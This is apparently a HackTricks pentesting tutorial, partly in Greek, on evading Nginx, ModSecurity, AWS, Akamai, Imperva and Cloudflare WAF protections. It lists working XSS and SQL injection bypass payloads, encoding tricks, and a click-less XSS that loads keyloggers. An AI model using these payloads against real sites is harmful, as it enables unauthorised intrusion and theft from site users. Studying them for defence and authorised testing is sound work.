Proxy / WAF Protections Bypass

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Τεχνικές from this research.

Παράδειγμα κανόνα Nginx:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Για να αποτρέψει παρακάμψεις, το Nginx εκτελεί κανονικοποίηση του path πριν από τον έλεγχο. Ωστόσο, αν ο backend server εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που το Nginx δεν αφαιρεί), μπορεί να είναι δυνατή η παράκαμψη αυτής της άμυνας.

NodeJS - Express

Nginx ΈκδοσηNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx ΈκδοσηFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx ΈκδοσηSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Διαμόρφωση Nginx FPM:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx έχει ρυθμιστεί να αποκλείει την πρόσβαση στο /admin.php αλλά είναι δυνατό να παρακαμφθεί αυτό με πρόσβαση στο /admin.php/index.php.

Πώς να το αποτρέψετε

location ~* ^/admin {
deny all;
}

Παράκαμψη Mod Security Rules

Path Confusion

In this post εξηγείται ότι το ModSecurity v3 (έως την 3.0.12), εφάρμοζε εσφαλμένα τη REQUEST_FILENAME μεταβλητή η οποία υποτίθεται ότι περιείχε τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε ένα URL decode για να πάρει τη διαδρομή.
Επομένως, ένα αίτημα όπως http://example.com/foo%3f';alert(1);foo= στο mod security θα θεωρήσει ότι η διαδρομή είναι απλώς /foo επειδή το %3f μετατρέπεται σε ? που τερματίζει τη διαδρομή του URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι /foo%3f';alert(1);foo=.

Οι μεταβλητές REQUEST_BASENAME και PATH_INFO επηρεάστηκαν επίσης από αυτό το σφάλμα.

Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security, που επέτρεπε την παράκαμψη μιας προστασίας που απέτρεπε την πρόσβαση χρηστών σε αρχεία με συγκεκριμένες επεκτάσεις σχετικές με backup (όπως .bak), απλά στέλνοντας την τελεία URL encoded ως %2e, για παράδειγμα: https://example.com/backup%2ebak.

Παράκαμψη AWS WAF ACL

Malformed Header

This research αναφέρει ότι ήταν δυνατό να παρακαμφθούν κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers, στέλνοντας μια “malformed” κεφαλίδα που δεν αναλύθηκε σωστά από το AWS αλλά αναλύθηκε από τον backend server.

For example, sending the following request with a SQL injection in the header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Ήταν δυνατό να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της επικεφαλίδας ενώ ο NODEJS server το καταλάβαινε (αυτό διορθώθηκε).

Γενικές παρακάμψεις WAF

Όρια μεγέθους Request

Συνήθως τα WAF έχουν ένα συγκεκριμένο όριο μήκους των αιτημάτων προς έλεγχο και αν ένα POST/PUT/PATCH αίτημα το ξεπερνά, το WAF δεν θα ελέγξει το αίτημα.

Μέγιστο μέγεθος του σώματος ενός web request που μπορεί να ελεγχθεί για Application Load Balancer και AWS AppSync protections8 KB
Μέγιστο μέγεθος του σώματος ενός web request που μπορεί να ελεγχθεί για CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB

Παλιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερο) επιτρέπουν μηνύματα μεγαλύτερα από 128 KB απενεργοποιώντας τον έλεγχο σώματος του request, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερο), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος request. Όταν ένα αίτημα υπερβαίνει το όριο μεγέθους:

If prevention mode: Logs and blocks the request.
If detection mode: Inspects up to the limit, ignores the rest, and logs if the Content-Length exceeds the limit.

Καλά από προεπιλογή, το WAF ελέγχει μόνο τα πρώτα 8KB ενός αιτήματος. Μπορεί να αυξήσει το όριο έως και 128KB προσθέτοντας Advanced Metadata.

Έως 128KB.

Κενά στην επιθεώρηση στατικών πόρων (.js GETs)

Κάποιες στοίβες CDN/WAF εφαρμόζουν αδύναμο ή καθόλου έλεγχο περιεχομένου σε GET αιτήματα για στατικά αρχεία (π.χ. διαδρομές που τελειώνουν σε .js), ενώ εξακολουθούν να εφαρμόζουν παγκόσμιους κανόνες όπως rate limiting και IP reputation. Συνδυαστικά με το αυτόματο caching των στατικών επεκτάσεων, αυτό μπορεί να καταχραστεί για να παραδοθούν ή να φυτευτούν κακόβουλες παραλλαγές που επηρεάζουν τις επακόλουθες HTML απαντήσεις.

Πρακτικές χρήσεις:

  • Στείλτε payloads σε μη αξιόπιστες επικεφαλίδες (π.χ. User-Agent) σε ένα GET προς ένα .js path για να αποφύγετε τον έλεγχο περιεχομένου, και μετά ζητήστε αμέσως το κύριο HTML για να επηρεάσετε την cached παραλλαγή.
  • Χρησιμοποιήστε ένα φρέσκο/καθαρό IP; μόλις ένα IP σημαδευτεί, οι αλλαγές στο routing μπορούν να κάνουν την τεχνική αναξιόπιστη.
  • Στο Burp Repeater, χρησιμοποιήστε “Send group in parallel” (single-packet style) για να κάνετε race τα δύο αιτήματα (.js μετά HTML) μέσα από το ίδιο front-end path.

Αυτό συνδυάζεται καλά με header-reflection cache poisoning. Δείτε:

Cache Poisoning and Cache Deception

Απόκρυψη

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Συμβατότητα

Ανάλογα με την υλοποίηση της Unicode normalization (more info here), χαρακτήρες που μοιράζονται Unicode συμβατότητα μπορεί να καταφέρουν να παρακάμψουν το WAF και να εκτελεστούν ως το επιθυμητό payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν here.

Παράδειγμα

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Παράκαμψη Contextual WAFs με encodings

As mentioned in this blog post, Για να παρακαμφθούν WAFs που είναι σε θέση να διατηρήσουν το πλαίσιο (context) της εισόδου χρήστη μπορούμε να καταχραστούμε τις τεχνικές του WAF ώστε στην πραγματικότητα να κανονικοποιήσει την είσοδο του χρήστη.

For example, in the post it’s mentioned that Akamai URL decoded a user input 10 times. Therefore something like <input/%2525252525252525253e/onfocus will be seen by Akamai as <input/>/onfocus which might think that it’s ok as the tag is closed. However, as long as the application doesn’t URL decode the input 10 times, the victim will see something like <input/%25252525252525253e/onfocus which is still valid for a XSS attack.

Therefore, this allows to hide payloads in encoded components that the WAF will decode and interpret while the victim won’t.

Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal…

In the post the following final bypasses are suggested:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

It’s also mentioned that depending on how some WAFs understand the context of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between /* and */ (potentially because this is commonly used as comments. Therefore, a SQLinjection such as /*'or sleep(5)-- -*/ won’t be caught and will be valid as /* is the starting string of the injection and */ is commented.

These kind of context problems can also be used to abuse other vulnerabilities than the one expected to be exploited by the WAF (e.g. this could also be used to exploit a XSS).

Κενά επιθεώρησης πρώτης δήλωσης Inline JavaScript

Some inline-inspection rulesets only parse the first JavaScript statement present inside an event handler. By prefixing a harmless-looking expression in parentheses followed by a semicolon (for example onfocus="(history.length);payload"), the malicious code placed after the semicolon bypasses inspection while the browser still executes it. Combining this with fragment-induced focus (e.g., appending #forgot_btn so the targeted element is focused on load) allows click-less XSS that can immediately call $.getScript and bootstrap phishing tooling such as keyloggers. See the attribute-only login XSS case study derived from this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at PayloadsAllTheThings and OWASP. The examples below were pulled from this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Εργαλεία

  • nowafpls: Πρόσθετο Burp που προσθέτει άχρηστα δεδομένα σε αιτήσεις για να παρακάμψει τα WAFs με βάση το μήκος

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks